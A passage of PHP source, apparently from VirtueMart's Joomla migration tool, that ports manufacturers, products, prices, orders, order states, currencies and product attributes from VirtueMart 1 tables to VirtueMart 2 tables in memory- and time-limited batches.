    ' . $error; } } $this->_app->enqueueMessage($msg); return $ok; } else { $this->_app->enqueueMessage('No categories to import'); return $ok; } } private function portManufacturerCategories(){ if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ return; } $ok = true; $q = 'SELECT * FROM #__vm_manufacturer_category'; $this->_db->setQuery($q); $oldMfCategories = $this->_db->loadAssocList(); if(!class_exists('TableManufacturercategories')) require(JPATH_VM_ADMINISTRATOR . DS . 'tables' . DS . 'manufacturercategories.php'); $alreadyKnownIds = $this->getMigrationProgress('mfcats'); // $oldtonewMfCats = array(); $mfcategory = array(); $i=0; foreach($oldMfCategories as $oldmfcategory){ if(!array_key_exists($oldmfcategory['mf_category_id'],$alreadyKnownIds)){ $mfcategory = null; $mfcategory = array(); $mfcategory['mf_category_name'] = $oldmfcategory['mf_category_name']; $mfcategory['mf_category_desc'] = $oldmfcategory['mf_category_desc']; $mfcategory['published'] = 1; $table = $this->getTable('manufacturercategories'); $table->bindChecknStore($mfcategory); $errors = $table->getErrors(); if(!empty($errors)){ foreach($errors as $error){ vmError('Migrator portManufacturerCategories '.$error); $ok = false; } break; } $alreadyKnownIds[$oldmfcategory['mf_category_id']] = $mfcategory['virtuemart_manufacturercategories_id']; $i++; } unset($mfcategory['virtuemart_manufacturercategories_id']); if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ break; } } $this->storeMigrationProgress('mfcats',$alreadyKnownIds); if($ok) $msg = 'Looks everything worked correct, migrated ' .$i . ' manufacturer categories '; else { $msg = 'Seems there was an error porting ' . $i . ' manufacturer categories '; $msg .= $this->getErrors(); } $this->_app->enqueueMessage($msg); return $ok; } private function portManufacturers(){ if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ return; } $ok = true; $q = 'SELECT * FROM #__vm_manufacturer '; $this->_db->setQuery($q); $oldManus = $this->_db->loadAssocList(); // vmdebug('my old manus',$oldManus); // $oldtonewManus = array(); $oldtoNewMfcats = $this->getMigrationProgress('mfcats'); $alreadyKnownIds = $this->getMigrationProgress('manus'); $i =0 ; foreach($oldManus as $oldmanu){ if(!array_key_exists($oldmanu['manufacturer_id'],$alreadyKnownIds)){ $manu = null; $manu = array(); $manu['mf_name'] = $oldmanu['mf_name']; $manu['mf_email'] = $oldmanu['mf_email']; $manu['mf_desc'] = $oldmanu['mf_desc']; $manu['virtuemart_manufacturercategories_id'] = $oldtoNewMfcats[$oldmanu['mf_category_id']]; $manu['mf_url'] = $oldmanu['mf_url']; $manu['published'] = 1; if(!class_exists('TableManufacturers')) require(JPATH_VM_ADMINISTRATOR . DS . 'tables' . DS . 'manufacturers.php'); $table = $this->getTable('manufacturers'); $table->bindChecknStore($manu); $errors = $table->getErrors(); if(!empty($errors)){ foreach($errors as $error){ vmError('Migrator portManufacturers '.$error); $ok = false; } break; } $alreadyKnownIds[$oldmanu['manufacturer_id']] = $manu['virtuemart_manufacturer_id']; //unset($manu['virtuemart_manufacturer_id']); $i++; } // else { // $oldtonewManus[$oldmanu['manufacturer_id']] = $alreadyKnownIds[$oldmanu['manufacturer_id']]; // } if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ break; } } $this->storeMigrationProgress('manus',$alreadyKnownIds); if($ok) $msg = 'Looks everything worked correct, migrated ' .$i . ' manufacturers '; else { $msg = 'Seems there was an error porting ' . $i . ' manufacturers '; $msg .= $this->getErrors(); } $this->_app->enqueueMessage($msg); return $ok; } private function portProducts(){ if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ return false; } $ok = true; $mediaIdFilename = array(); //approximatly 100 products take a 1 MB $maxItems = $this->_getMaxItems('Products'); // $maxItems = 100; $startLimit = $this->_getStartLimit('products_start');; $j=0; $alreadyKnownIds = $this->getMigrationProgress('products'); $oldToNewCats = $this->getMigrationProgress('cats'); // $user = JFactory::getUser(); //$oldtonewProducts = array(); $oldtonewManus = $this->getMigrationProgress('manus'); $userSgrpPrices = JRequest::getInt('userSgrpPrices',0); if($userSgrpPrices){ $oldToNewShoppergroups = $this->getMigrationProgress('shoppergroups'); } $productModel = VmModel::getModel('product'); if(count($alreadyKnownIds)==($startLimit+$maxItems) ){ $continue = false; } else { $continue = true; } while($continue){ $q = 'SELECT *,`p`.product_id as product_id FROM `#__vm_product` AS `p` LEFT JOIN `#__vm_product_mf_xref` ON `#__vm_product_mf_xref`.`product_id` = `p`.`product_id` WHERE (`p`.product_id) IS NOT NULL GROUP BY `p`.product_id ORDER BY `p`.product_parent_id LIMIT '.$startLimit.','.$maxItems; $doneStart = $startLimit; $res = self::loadCountListContinue($q,$startLimit,$maxItems,'port Products'); $oldProducts = $res[0]; $startLimit = $res[1]; $continue = $res[2]; //vmdebug('in product migrate $oldProducts ',$oldProducts); /* Not in VM1 slug low_stock_notification intnotes metadesc metakey metarobot metaauthor layout published created_on created_by modified_on modified_by product_override_price override link Not in VM2 product_thumb_image product_full_image attribute custom_attribute child_options quantity_options child_option_ids shopper_group_id product_list */ //There are so many names the same, so we use the loaded array and manipulate it // $oldProducts = array(); foreach($oldProducts as $product){ if(!empty($product['product_id']) and !array_key_exists($product['product_id'],$alreadyKnownIds)){ $product['virtuemart_vendor_id'] = $product['vendor_id']; if(!empty($product['manufacturer_id'])){ if(!empty($oldtonewManus[$product['manufacturer_id']])) { $product['virtuemart_manufacturer_id'] = $oldtonewManus[$product['manufacturer_id']]; } } $q = 'SELECT `category_id` FROM #__vm_product_category_xref WHERE #__vm_product_category_xref.product_id = "'.$product['product_id'].'" '; $this->_db->setQuery($q); $productCats = $this->_db->loadResultArray(); $productcategories = array(); if(!empty($productCats)){ foreach($productCats as $cat){ //product has category_id and categories? if(!empty($oldToNewCats[$cat])){ // $product['virtuemart_category_id'] = $oldToNewCats[$cat]; //This should be an array, or is it not in vm1? not cleared, may need extra foreach $productcategories[] = $oldToNewCats[$cat]; } else { vmInfo('Coulndt find category for product, maybe just not in a category'); } } } // if(!empty($alreadyKnownIds[$product['product_id']])){ // $product_parent_id = $alreadyKnownIds[$product['product_id']]; // } // Converting Attributes from parent product to customfields Cart variant // $q = 'SELECT * FROM `#__vm_product_attribute` WHERE `#__vm_product_attribute`.`product_id` ="'.$product['product_id'].'" '; // $this->_db->setQuery($q); // if(!empty($productAttributes = $this->_db->loadAssocList()) { // foreach($productAttributes as $attrib){ // //custom select or create it // $q = 'SELECT `virtuemart_custom_id` FROM `#__virtuemart_customs` as c WHERE c.field_type ="V" and c.`custom_title` ="'.$attrib['attribute_name'].'" '; // $this->_db->setQuery($q); // if (!$virtuemart_custom_id = $this->_db->loadResult()) { // $customModel = VmModel::getModel('Custom'); // $attrib['custom_title'] = $attrib['attribute_name']; // $attrib['custom_value'] = $attrib['attribute_value']; // $attrib['is_cart_attribute'] = '1'; // $customModel->store($attrib); // } // } // } // Attributes End $product['categories'] = $productcategories; $product['published'] = $product['product_publish'] == 'Y' ? 1 : 0; $q = 'SELECT * FROM `#__vm_product_price` WHERE `product_id` = "'.$product['product_id'].'" '; $this->_db->setQuery($q); $entries = $this->_db->loadAssocList(); if($entries){ foreach($entries as $i=>$price){ $product['mprices']['product_price_id'][$i] = 0; $product['mprices']['product_id'][$i] = $price['product_id']; $product['mprices']['product_price'][$i] = $price['product_price']; if($userSgrpPrices){ $product['mprices']['virtuemart_shoppergroup_id'][$i] = $oldToNewShoppergroups[$price['shopper_group_id']]; } $product['mprices']['product_currency'][$i] = $this->_ensureUsingCurrencyId($price['product_currency']); $product['mprices']['price_quantity_start'][$i] = $price['price_quantity_start']; $product['mprices']['price_quantity_end'][$i] = $price['price_quantity_end']; $product['mprices']['product_price_publish_up'][$i] = $price['product_price_vdate']; $product['mprices']['product_price_publish_down'][$i] = $price['product_price_edate']; $product['mprices']['created_on'][$i] = $this->_changeToStamp($price['cdate']); $product['mprices']['modified_on'][$i] = $this->_changeToStamp($price['mdate']); } } // $product['price_quantity_start'] = $product['price_quantity_start']; // $product['price_quantity_end'] = $product['price_quantity_end']; // $product['product_price_publish_up'] = $product['product_price_vdate']; // $product['product_price_publish_down'] = $product['product_price_edate']; $product['created_on'] = $this->_changeToStamp($product['cdate']); $product['modified_on'] = $this->_changeToStamp($product['mdate']); //we could remove this to set modified_on today $product['product_available_date'] = $this->_changeToStamp($product['product_available_date']); if(!empty($product['product_weight_uom'])){ $product['product_weight_uom'] = $this->parseWeightUom($product['product_weight_uom']); } if(!empty($product['product_lwh_uom'])){ $product['product_lwh_uom'] = $this->parseDimensionUom($product['product_lwh_uom']); } //$product['created_by'] = $user->id; //$product['modified_by'] = $user->id; if(!empty($product['product_s_desc'])){ $product['product_s_desc'] = stripslashes($product['product_s_desc']); } if(empty($product['product_name'] )){ $product['product_name'] = $product['product_sku'].':'.$product['product_id'].':'.$product['product_s_desc']; } // Here we look for the url product_full_image and check which media has the same // full_image url if(!empty($product['product_full_image'])){ $product['virtuemart_media_id'] = $this->_getMediaIdByName($product['product_full_image'],'product'); } if(!empty($alreadyKnownIds[$product['product_parent_id']])){ $product['product_parent_id'] = $alreadyKnownIds[$product['product_parent_id']]; // vmInfo('new parent id : '. $product['product_parent_id']); } else { $product['product_parent_id'] = 0; } if($this->_keepOldProductIds){ $product['virtuemart_product_id'] = $product['product_id']; } $product['virtuemart_product_id'] = $productModel->store($product); if(!empty($product['product_id']) and !empty($product['virtuemart_product_id'])){ $alreadyKnownIds[$product['product_id']] = $product['virtuemart_product_id']; } else { vmdebug('$product["virtuemart_product_id"] or $product["product_id"] is EMPTY?',$product); } $errors = $productModel->getErrors(); if(!empty($errors)){ foreach($errors as $error){ vmError('Migration: '.$i.' ' . $error); } vmdebug('Product add error',$product); $productModel->resetErrors(); $continue = false; break; } $j++; } if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ vmdebug('Product import breaked, you may rise the execution time, this is not an error, just a hint'); $continue = false; break; } } $limitStartToStore = ', products_start = "'.($doneStart+$j).'" '; $this->storeMigrationProgress('products',$alreadyKnownIds,$limitStartToStore); vmInfo('Migration: '.$i.' products processed '); } return $ok; } /** * Finds the media id in the vm2 table for a given filename * * @author Max Milbers * @author Valerie Isaksen * */ var $mediaIdFilename = array(); function _getMediaIdByName($filename,$type){ if(!empty($this->mediaIdFilename[$type][$filename])){ return $this->mediaIdFilename[$type][$filename]; } else { $q = 'SELECT `virtuemart_media_id` FROM `#__virtuemart_medias` WHERE `file_title`="' . $this->_db->getEscaped($filename) . '" AND `file_type`="' . $this->_db->getEscaped($type) . '"'; $this->_db->setQuery($q); $virtuemart_media_id = $this->_db->loadResult(); if($this->_db->getErrors()){ vmError('Error in _getMediaIdByName',$this->_db->getErrorMsg()); } if(!empty($virtuemart_media_id)){ $this->mediaIdFilename[$type][$filename] = $virtuemart_media_id; return $virtuemart_media_id; } else { // vmdebug('No media found for '.$type.' '.$filename); } } } function portOrders(){ if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ return; } if(!class_exists('VirtueMartModelOrderstatus')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orderstatus.php'); if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); $this->_db->setQuery('select `order_status_code` FROM `#__virtuemart_orderstates` `'); $vm2Fields = $this->_db->loadResultArray (); $this->_db->setQuery('select * FROM `#__vm_order_status`'); $oldfields = $this->_db->loadObjectList(); $migratedfields =''; foreach ($oldfields as $field ) { if ( !in_array( $field->order_status_code, $vm2Fields ) ) { $q = 'INSERT INTO `#__virtuemart_orderstates` ( `virtuemart_vendor_id`, `order_status_code`, `order_status_name`, `order_status_description`, `order_stock_handle`, `ordering`, `published`) VALUES ( "'.$field->vendor_id.'","'.$field->order_status_code .'","'.$field->order_status_name .'","'.$field->order_status_description .'","A","'.$field->list_order .'", 1 )'; $this->_db->setQuery($q); $this->_db->query(); if ($this->_db->getErrorNum()) { vmError ($this->_db->getErrorMsg() ); } $migratedfields .= '['.$field->order_status_code.'-'.$field->order_status_name.'] '; } } if ($migratedfields) vminfo('order states declaration '.$migratedfields.' Migrated'); $oldtonewOrders = array(); //Looks like there is a problem, when the data gets tooo big, //solved now with query directly ignoring already ported orders. $alreadyKnownIds = $this->getMigrationProgress('orders'); $newproductIds = $this->getMigrationProgress('products'); $orderCodeToId = $this->createOrderStatusAssoc(); //approximatly 100 products take a 1 MB $maxItems = $this->_getMaxItems('Orders'); $startLimit = $this->_getStartLimit('orders_start'); vmdebug('portOrders $startLimit '.$startLimit); $i = 0; if(count($alreadyKnownIds)==($startLimit+$maxItems) ){ $continue = false; } else { $continue = true; } $reWriteOrderNumber = JRequest::getInt('reWriteOrderNumber',0); $userOrderId = JRequest::getInt('userOrderId',0); while($continue){ $q = 'SELECT `o`.*, `op`.*, `o`.`order_number` as `vm1_order_number`, `o2`.`order_number` as `nr2`,`o`.order_id FROM `#__vm_orders` as `o` LEFT OUTER JOIN `#__vm_order_payment` as `op` ON `op`.`order_id` = `o`.`order_id` LEFT JOIN `#__virtuemart_orders` as `o2` ON `o2`.`order_number` = `o`.`order_number` WHERE (o2.order_number) IS NULL ORDER BY o.order_id LIMIT '.$startLimit.','.$maxItems; $doneStart = $startLimit; $res = self::loadCountListContinue($q,$startLimit,$maxItems,'port Orders'); $oldOrders = $res[0]; $startLimit = $res[1]; $continue = $res[2]; foreach($oldOrders as $order){ if(!array_key_exists($order['order_id'],$alreadyKnownIds)){ $orderData = new stdClass(); $orderData->virtuemart_order_id = null; $orderData->virtuemart_user_id = $order['user_id']; $orderData->virtuemart_vendor_id = $order['vendor_id']; if($reWriteOrderNumber==0){ if($userOrderId==1){ $orderData->order_number = $order['order_id']; } else { $orderData->order_number = $order['vm1_order_number']; } } $orderData->order_pass = 'p' . substr(md5((string)time() . $order['order_number']), 0, 5); //Note as long we do not have an extra table only storing addresses, the virtuemart_userinfo_id is not needed. //The virtuemart_userinfo_id is just the id of a stored address and is only necessary in the user maintance view or for choosing addresses. //the saved order should be an snapshot with plain data written in it. // $orderData->virtuemart_userinfo_id = 'TODO'; // $_cart['BT']['virtuemart_userinfo_id']; // TODO; Add it in the cart... but where is this used? Obsolete? $orderData->order_total = $order['order_total']; $orderData->order_subtotal = $order['order_subtotal']; $orderData->order_tax = empty($order['order_tax'])? 0:$order['order_tax']; $orderData->order_shipment = empty($order['order_shipping'])? 0:$order['order_shipping']; $orderData->order_shipment_tax = empty($order['order_shipping_tax'])? 0:$order['order_shipping_tax']; if(!empty($order['coupon_code'])){ $orderData->coupon_code = $order['coupon_code']; $orderData->coupon_discount = $order['coupon_discount']; } $orderData->order_discount = $order['order_discount']; $orderData->order_status = $order['order_status']; if(isset($order['order_currency'])){ $orderData->user_currency_id = $this->getCurrencyIdByCode($order['order_currency']); //$orderData->user_currency_rate = $order['order_status']; } $orderData->virtuemart_paymentmethod_id = $order['payment_method_id']; $orderData->virtuemart_shipmentmethod_id = $order['ship_method_id']; //$orderData->order_status_id = $oldToNewOrderstates[$order['order_status']] $_filter = JFilterInput::getInstance(array('br', 'i', 'em', 'b', 'strong'), array(), 0, 0, 1); $orderData->customer_note = $_filter->clean($order['customer_note']); $orderData->ip_address = $order['ip_address']; $orderData->created_on = $this->_changeToStamp($order['cdate']); $orderData->modified_on = $this->_changeToStamp($order['mdate']); //we could remove this to set modified_on today $orderTable = $this->getTable('orders'); $orderTable->bindChecknStore($orderData); $errors = $orderTable->getErrors(); if(!empty($errors)){ foreach($errors as $error){ $this->_app->enqueueMessage('Migration orders: ' . $error); } $continue = false; break; } $i++; $newId = $alreadyKnownIds[$order['order_id']] = $orderTable->virtuemart_order_id; $q = 'SELECT * FROM `#__vm_order_item` WHERE `order_id` = "'.$order['order_id'].'" '; $this->_db->setQuery($q); $oldItems = $this->_db->loadAssocList(); //$this->_app->enqueueMessage('Migration orderhistories: ' . $newId); foreach($oldItems as $item){ $item['virtuemart_order_id'] = $newId; if(!empty($newproductIds[$item['product_id']])){ $item['virtuemart_product_id'] = $newproductIds[$item['product_id']]; } else { vmWarn('Attention, order is pointing to deleted product (not found in the array of old products)'); } //$item['order_status'] = $orderCodeToId[$item['order_status']]; $item['created_on'] = $this->_changeToStamp($item['cdate']); $item['modified_on'] = $this->_changeToStamp($item['mdate']); //we could remove this to set modified_on today $item['product_attribute'] = $this->_attributesToJson($item['product_attribute']); //we could remove this to set modified_on today $item['product_discountedPriceWithoutTax'] = $item['product_final_price'] - $item['product_tax']; $item['product_subtotal_with_tax'] = $item['product_final_price'] * $item['product_quantity']; $orderItemsTable = $this->getTable('order_items'); $orderItemsTable->bindChecknStore($item); $errors = $orderItemsTable->getErrors(); if(!empty($errors)){ foreach($errors as $error){ $this->_app->enqueueMessage('Migration orderitems: ' . $error); } $continue = false; break; } } $q = 'SELECT * FROM `#__vm_order_history` WHERE `order_id` = "'.$order['order_id'].'" '; $this->_db->setQuery($q); $oldItems = $this->_db->loadAssocList(); foreach($oldItems as $item){ $item['virtuemart_order_id'] = $newId; //$item['order_status_code'] = $orderCodeToId[$item['order_status_code']]; $orderHistoriesTable = $this->getTable('order_histories'); $orderHistoriesTable->bindChecknStore($item); $errors = $orderHistoriesTable->getErrors(); if(!empty($errors)){ foreach($errors as $error){ $this->_app->enqueueMessage('Migration orderhistories: ' . $error); } $continue = false; break; } } $q = 'SELECT * FROM `#__vm_order_user_info` WHERE `order_id` = "'.$order['order_id'].'" '; $this->_db->setQuery($q); $oldItems = $this->_db->loadAssocList(); if($oldItems){ foreach($oldItems as $item){ $item['virtuemart_order_id'] = $newId; $item['virtuemart_user_id'] = $item['user_id']; $item['virtuemart_country_id'] = $this->getCountryIDByName($item['country']); $item['virtuemart_state_id'] = $this->getStateIDByName($item['state']); $item['email'] = $item['user_email']; $orderUserinfoTable = $this->getTable('order_userinfos'); $orderUserinfoTable->bindChecknStore($item); $errors = $orderUserinfoTable->getErrors(); if(!empty($errors)){ foreach($errors as $error){ $this->_app->enqueueMessage('Migration orderuserinfo: ' . $error); } $continue = false; break; } } } //$this->_app->enqueueMessage('Migration: '.$i.' order processed new id '.$newId); } // $this->storeMigrationProgress('orders',$alreadyKnownIds); // else { // $oldtonewOrders[$order['order_id']] = $alreadyKnownIds[$order['order_id']]; // } if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ $continue = false; break; } } } $limitStartToStore = ', orders_start = "'.($doneStart+$i).'" '; $this->storeMigrationProgress('orders',$alreadyKnownIds,$limitStartToStore); vmInfo('Migration: '.$i.' orders processed '.($doneStart+$i).' done.'); return true;; } function portOrderStatus(){ $q = 'SELECT * FROM `#__vm_order_status` '; $this->_db->setQuery($q); $oldOrderStatus = $this->_db->loadAssocList(); $orderstatusModel = VmModel::getModel('Orderstatus'); $oldtonewOrderstates = array(); $alreadyKnownIds = $this->getMigrationProgress('orderstates'); $i = 0; foreach($oldOrderStatus as $status){ if(!array_key_exists($status['order_status_id'],$alreadyKnownIds)){ $status['virtuemart_orderstate_id'] = 0; $status['virtuemart_vendor_id'] = $status['vendor_id']; $status['ordering'] = $status['list_order']; $status['published'] = 1; $newId = $orderstatusModel->store($status); $errors = $orderstatusModel->getErrors(); if(!empty($errors)){ foreach($errors as $error){ $this->_app->enqueueMessage('Migration: ' . $error); } $orderstatusModel->resetErrors(); //break; } $oldtonewOrderstates[$status['order_status_id']] = $newId; $i++; } else { //$oldtonewOrderstates[$status['order_status_id']] = $alreadyKnownIds[$status['order_status_id']]; } if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ break; } } $oldtonewOrderstates = array_merge($oldtonewOrderstates,$alreadyKnownIds); $oldtonewOrderstates = array_unique($oldtonewOrderstates); vmInfo('Migration: '.$i.' orderstates processed '); return; } private function _changeToStamp($dateIn){ $date = JFactory::getDate($dateIn); return $date->toMySQL(); } private function _ensureUsingCurrencyId($curr){ $currInt = ''; if(!empty($curr)){ $this->_db = JFactory::getDBO(); $q = 'SELECT `virtuemart_currency_id` FROM `#__virtuemart_currencies` WHERE `currency_code_3`="' . $this->_db->getEscaped($curr) . '"'; $this->_db->setQuery($q); $currInt = $this->_db->loadResult(); if(empty($currInt)){ JError::raiseWarning(E_WARNING, 'Attention, couldnt find currency id in the table for id = ' . $curr); } } return $currInt; } private function _getMaxItems($name){ $maxItems = 50; $freeRam = ($this->maxMemoryLimit - memory_get_usage(true))/(1024 * 1024) ; $maxItems = (int)$freeRam * 70; if($maxItems<=0){ $maxItems = 50; vmWarn('Your system is low on RAM! Limit set: '.$this->maxMemoryLimit.' used '.memory_get_usage(true)/(1024 * 1024).' MB and php.ini '.ini_get('memory_limit')); } else if($maxItems>1000){ $maxItems = 1000; } vmdebug('Migrating '.$name.', free ram left '.$freeRam.' so limit chunk to '.$maxItems); return $maxItems; } /** * * Enter description here ... */ private function _getStartLimit($name){ $this->_db = JFactory::getDBO(); $q = 'SELECT `'.$name.'` FROM `#__virtuemart_migration_oldtonew_ids` WHERE id="1" '; $this->_db->setQuery($q); $limit = $this->_db->loadResult(); vmdebug('Migrator _getStartLimit '.$name,$limit); if(!empty($limit)) return $limit; else return 0; } /** * Gets the virtuemart_country_id by a country 2 or 3 code * * @author Max Milbers * @param string $name Country 3 or Country 2 code (example US for United States) * return int virtuemart_country_id */ private $_countries = array(); private $_states = array(); private function getCountryIdByName($name){ if(empty($this->_countries[$name])){ $this->_countries[$name] = Shopfunctions::getCountryIDByName($name); } return $this->_countries[$name]; } private function getStateIdByName($name){ if(empty($this->_states[$name])){ $this->_states[$name] = Shopfunctions::getStateIDByName($name); } return $this->_states[$name]; } private function getCurrencyIdByCode($name){ if(empty($name)){ return 0; } if(strlen($name) == 2){ $code = 'currency_code_2'; }else { $code = 'currency_code_3'; } $q = 'SELECT `virtuemart_currency_id` FROM `#__virtuemart_currencies` WHERE `' . $code . '` = "' . $this->_db->getEscaped($name) . '" '; $this->_db->setQuery($q); return $this->_db->loadResult(); } /** * * * @author Max Milbers */ private function createOrderStatusAssoc(){ $q = 'SELECT * FROM `#__virtuemart_orderstates` '; $this->_db->setQuery($q); $orderstats = $this->_db->loadAssocList(); $xref = array(); foreach($orderstats as $status){ $xref[$status['order_status_code']] = $status['virtuemart_orderstate_id']; } return $xref; } /** * parse the entered string to a standard unit * @author Max Milbers * @author Valerie Isaksen * */ private function parseWeightUom($weightUnit){ $weightUnit = strtolower($weightUnit); $weightUnitMigrateValues = self::getWeightUnitMigrateValues(); return $this->parseUom($weightUnit,$weightUnitMigrateValues ); } /** * * parse the entered string to a standard unit * @author Max Milbers * @author Valerie Isaksen * */ private function parseDimensionUom($dimensionUnit){ $dimensionUnitMigrateValues = self::getDimensionUnitMigrateValues(); $dimensionUnit = strtolower($dimensionUnit); return $this->parseUom($dimensionUnit,$dimensionUnitMigrateValues ); } /** * * parse the entered string to a standard unit * @author Max Milbers * @author Valerie Isaksen * */ private function parseUom($unit, $migrateValues){ $new=""; $unit = strtolower($unit); foreach ($migrateValues as $old => $new) { if (strpos($unit, $old) !== false) { return $new; } } } /** * * get new Length Standard Unit * @author Valerie Isaksen * */ function getDimensionUnitMigrateValues() { $dimensionUnitMigrate=array ( 'mm' => 'MM' , 'cm' => 'CM' , 'm' => 'M' , 'yd' => 'YD' , 'foot' => 'FT' , 'ft' => 'FT' , 'inch' => 'IN' ); return $dimensionUnitMigrate; } /** * * get new Weight Standard Unit * @author Valerie Isaksen * */ function getWeightUnitMigrateValues() { $weightUnitMigrate=array ( 'kg' => 'KG' , 'kilos' => 'KG' , 'gr' => 'G' , 'pound' => 'LB' , 'livre' => 'LB' //TODO ERROR HERE , 'once' => 'OZ' , 'ounce' => 'OZ' ); return $weightUnitMigrate; } /** * Helper function, was used to determine the difference of an loaded array (from vm19 * and a loaded object of vm2 */ private function showVmDiff(){ $productModel = VmModel::getModel('product'); $product = $productModel->getProduct(0); $productK = array(); $attribsImage = get_object_vars($product); foreach($attribsImage as $k => $v){ $productK[] = $k; } $oldproductK = array(); foreach($oldProducts[0] as $k => $v){ $oldproductK[] = $k; } $notSame = array_diff($productK, $oldproductK); $names = ''; foreach($notSame as $name){ $names .= $name . ' '; } $this->_app->enqueueMessage('_productPorter array_intersect ' . $names); $notSame = array_diff($oldproductK, $productK); $names = ''; foreach($notSame as $name){ $names .= $name . ' '; } $this->_app->enqueueMessage('_productPorter ViceVERSA array_intersect ' . $names); } function loadCountListContinue($q,$startLimit,$maxItems,$msg){ $continue = true; $this->_db->setQuery($q); if(!$this->_db->query()){ vmError($msg.' db error '. $this->_db->getErrorMsg()); vmError($msg.' db error '. $this->_db->getQuery()); $entries = array(); $continue = false; } else { $entries = $this->_db->loadAssocList(); $count = count($entries); vmInfo($msg. ' take '.$count.' vm1 entries for migration '); $startLimit += $maxItems; if($count<$maxItems){ $continue = false; } } return array($entries,$startLimit,$continue); } function portCurrency(){ $this->setRedirect($this->redirectPath); $db = JFactory::getDBO(); $q = 'SELECT `virtuemart_currency_id`, `currency_name`, `currency_code_2`, `currency_code` AS currency_code_3, `currency_numeric_code`, `currency_exchange_rate`, `currency_symbol`, `currency_display_style` AS `_display_style` FROM `#__virtuemart_currencia` ORDER BY virtuemart_currency_id'; $db->setQuery($q); $result = $db->loadObjectList(); foreach($result as $item){ // $item->virtuemart_currency_id = 0; $item->currency_exchange_rate = 0; $item->published = 1; $item->shared = 1; $item->virtuemart_vendor_id = 1; $style = explode('|', $item->_display_style); $item->currency_nbDecimal = $style[2]; $item->currency_decimal_symbol = $style[3]; $item->currency_thousands = $style[4]; $item->currency_positive_style = $style[5]; $item->currency_negative_style = $style[6]; $db->insertObject('#__virtuemart_currencies', $item); } $this->setRedirect($this->redirectPath); } /** * Method to restore all virtuemart tables in a database with a given prefix * * @access public * @param string Old table prefix * @return boolean True on success. */ function restoreDatabase($prefix='bak_vm_') { // Initialise variables. $return = true; $this->_db = JFactory::getDBO(); // Get the tables in the database. if ($tables = $this->_db->getTableList()) { foreach ($tables as $table) { // If the table uses the given prefix, back it up. if (strpos($table, $prefix) === 0) { // restore table name. $restoreTable = str_replace($prefix, '#__vm_', $table); // Drop the current active table. $this->_db->setQuery('DROP TABLE IF EXISTS '.$this->_db->nameQuote($restoreTable)); $this->_db->query(); // Check for errors. if ($this->_db->getErrorNum()) { vmError('Migrator restoreDatabase '.$this->_db->getErrorMsg()); $return = false; } // Rename the current table to the backup table. $this->_db->setQuery('RENAME TABLE '.$this->_db->nameQuote($table).' TO '.$this->_db->nameQuote($restoreTable)); $this->_db->query(); // Check for errors. if ($this->_db->getErrorNum()) { vmError('Migrator restoreDatabase '.$this->_db->getErrorMsg()); $return = false; } } } } return $return; } private function _attributesToJson($attributes){ if ( !trim($attributes) ) return ''; $attributesArray = explode(";", $attributes); foreach ($attributesArray as $valueKey) { // do the array $tmp = explode(":", $valueKey); if ( count($tmp) == 2 ) { if ($pos = strpos($tmp[1], '[')) $tmp[1] = substr($tmp[1], 0, $pos) ; // remove price $newAttributes['attributs'][$tmp[0]] = $tmp[1]; } } return json_encode($newAttributes,JSON_FORCE_OBJECT); } /** * Roughly taken from the forum, a bit rewritten by Max Milbers to use the joomla database * Thank you raycarter * * http://forum.virtuemart.net/index.php?topic=102083.0 * @author raycarter */ function portVm1Attributes(){ if($this->_stop || (microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ return; } $alreadyKnownIds = $this->getMigrationProgress('attributes'); $i = 0; $prefix = '#_'; $oldtable = '#__vm_product'; $db = JFactory::getDbo(); $db->setQuery("SELECT product_sku, attribute FROM " . $oldtable . " WHERE ( attribute IS NULL or attribute <> '') "); $rows = $db->loadObjectList(); foreach ($rows as $product) { $db->setQuery("SELECT virtuemart_product_id FROM " . $prefix . "_virtuemart_products WHERE product_sku=" . $db->Quote($product->product_sku)); $productid = (int)$db->loadResult(); if(!in_array($productid,$alreadyKnownIds)){ $ignore = JRequest::getVar('prodIdsToIgnore',array()); if(!is_array($ignore)) $ignore = array($ignore); foreach($ignore as &$ig){ $ig = (int)$ig; } $ign = false; if (count($ignore) && $productid) { foreach ($ignore as $ig) { if ($ig == $productid) { $ign = true; echo "ignoring product_id =" . $productid . "
    "; break; } } } if (!$ign) { $attrStr = explode(";", $product->attribute); foreach ($attrStr as $attributes) { $result = "adding attributes for product_id :" . $productid . "
    "; $attrData = array(); $attrData = explode(",", $attributes); //its the parent, create it,it does not exist before $db->setQuery("SELECT virtuemart_custom_id FROM " . $prefix . "_virtuemart_customs WHERE custom_title =" . $db->Quote($attrData[0])); $parent = $db->loadResult(); if ($parent) { $pid = $parent; $result.="found parent with id=" . $parent . "
    "; } else { $query = 'INSERT INTO ' . $prefix . '_virtuemart_customs (custom_title,custom_tip,field_type,is_cart_attribute,published) VALUES (' . $db->Quote($attrData[0]) . ',"","V","1","1")'; $db->setQuery($query); if (!$db->query()) die($query); $pid = $db->insertid(); $result.= "

    inserted parent " . $attrData[0] . "

    "; } foreach ($attrData as $key => $attr) { if ($key != '0') { $priceset = explode("[", $attr); $price = 0; $warning=''; if (count($priceset) > 1) { $price = substr($priceset[1], 0, -1); // remove ] if ('=' == substr ($price, 0,1)) { // Don't port, set the price to 0 $price = 0; $warning='WARNING: Price for this attribute has been set to 0'; } elseif ("+" == substr($price, 0,1)) { $price = substr($price, 1); // remove the + } } $cleaned = $priceset[0]; //get ordering of the last element and add 1 to it $db->setQuery('SELECT MAX(ordering) from ' . $prefix . '_virtuemart_product_customfields'); $ordering = $db->loadResult() + 1; $query = 'INSERT INTO ' . $prefix . '_virtuemart_product_customfields (virtuemart_product_id,virtuemart_custom_id,custom_value,custom_price,ordering) VALUES (' . $productid . ',' . $pid . ',' . $db->Quote($cleaned) . ',' . $price . ',' . $ordering . ')'; $db->setQuery($query); if (!$db->query()) { $result.="query failed for attribute :" . $cleaned . ", query :" . $query . "
